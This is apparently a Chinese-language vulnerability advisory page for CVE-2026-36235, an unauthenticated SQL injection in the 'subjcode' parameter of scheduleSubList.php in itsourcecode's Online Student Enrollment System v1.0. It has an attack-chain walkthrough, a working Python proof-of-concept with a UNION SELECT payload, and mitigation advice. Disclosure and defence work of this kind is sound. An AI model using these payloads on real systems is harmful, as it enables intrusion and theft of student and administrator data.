IPBUF安全漏洞报告
English
CVE-2026-36235 CVSS 9.8 严重

CVE-2026-36235: itsourcecode在线学生注册系统SQL注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-36235
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Online Student Enrollment System

相关标签

SQL注入CVE-2026-36235itsourcecodeWeb安全远程代码执行高严重性

漏洞概述

itsourcecode Online Student Enrollment System v1.0版本中存在严重的SQL注入漏洞。该漏洞源于scheduleSubList.php文件未对用户输入的'subjcode'参数进行有效的清洗和验证,直接将其拼接到SQL查询语句中。攻击者可利用此漏洞在无需用户交互和认证的情况下,远程执行任意SQL代码,导致数据库敏感信息泄露、数据篡改或服务器被完全控制,对系统机密性、完整性和可用性造成极高威胁。

技术细节

该漏洞属于典型的SQL注入漏洞,具体发生于后端PHP代码处理数据库查询的逻辑中。在scheduleSubList.php文件里,程序直接接收用户提供的'subjcode'参数,并未采用预编译语句(如PDO)或转义函数进行安全处理,而是通过字符串拼接方式将其嵌入SQL查询。由于CVSS向量显示无需认证(PR:N)且攻击复杂度低(AC:L),攻击者只需构造包含特定SQL语法的恶意Payload(如UNION SELECT或布尔盲注语句)发送至目标端点。服务器解析并执行该恶意SQL后,攻击者即可绕过应用安全机制,非法读取、修改或删除数据库中的任意数据,甚至可能导致服务器权限被提升,造成严重的信息安全事故。

攻击链分析

STEP 1
侦查
攻击者识别出目标系统使用的是itsourcecode Online Student Enrollment System v1.0,并确认scheduleSubList.php接口的存在。
STEP 2
漏洞探测
攻击者向scheduleSubList.php发送包含单引号或特定SQL语法(如' OR '1'='1)的请求,测试'subjcode'参数是否存在SQL注入异常。
STEP 3
漏洞利用
确认漏洞存在后,攻击者构造恶意的UNION SELECT查询语句或布尔盲注Payload,通过'subjcode'参数提交,以提取数据库结构、管理员密码或敏感学生信息。
STEP 4
权限提升与破坏
利用获取的数据库凭据或通过写入WebShell,攻击者可能进一步获取服务器控制权,篡改或删除数据,导致系统完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target.com/scheduleSubList.php" # Malicious payload to extract database version using SQL Injection # The 'subjcode' parameter is vulnerable payload = "' UNION SELECT 1, user(), version(), 4-- -" params = { "subjcode": payload } try: # Send GET request with the injected parameter response = requests.get(target_url, params=params, timeout=10) # Check if request was successful if response.status_code == 200: print("[+] PoC executed successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

itsourcecode Online Student Enrollment System v1.0

防御指南

临时缓解措施
在官方发布修复补丁前,建议管理员暂时禁用受影响的scheduleSubList.php功能模块,或在服务器端部署WAF规则对'subjcode'参数进行严格过滤,阻断包含单引号、UNION、SELECT等关键字的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表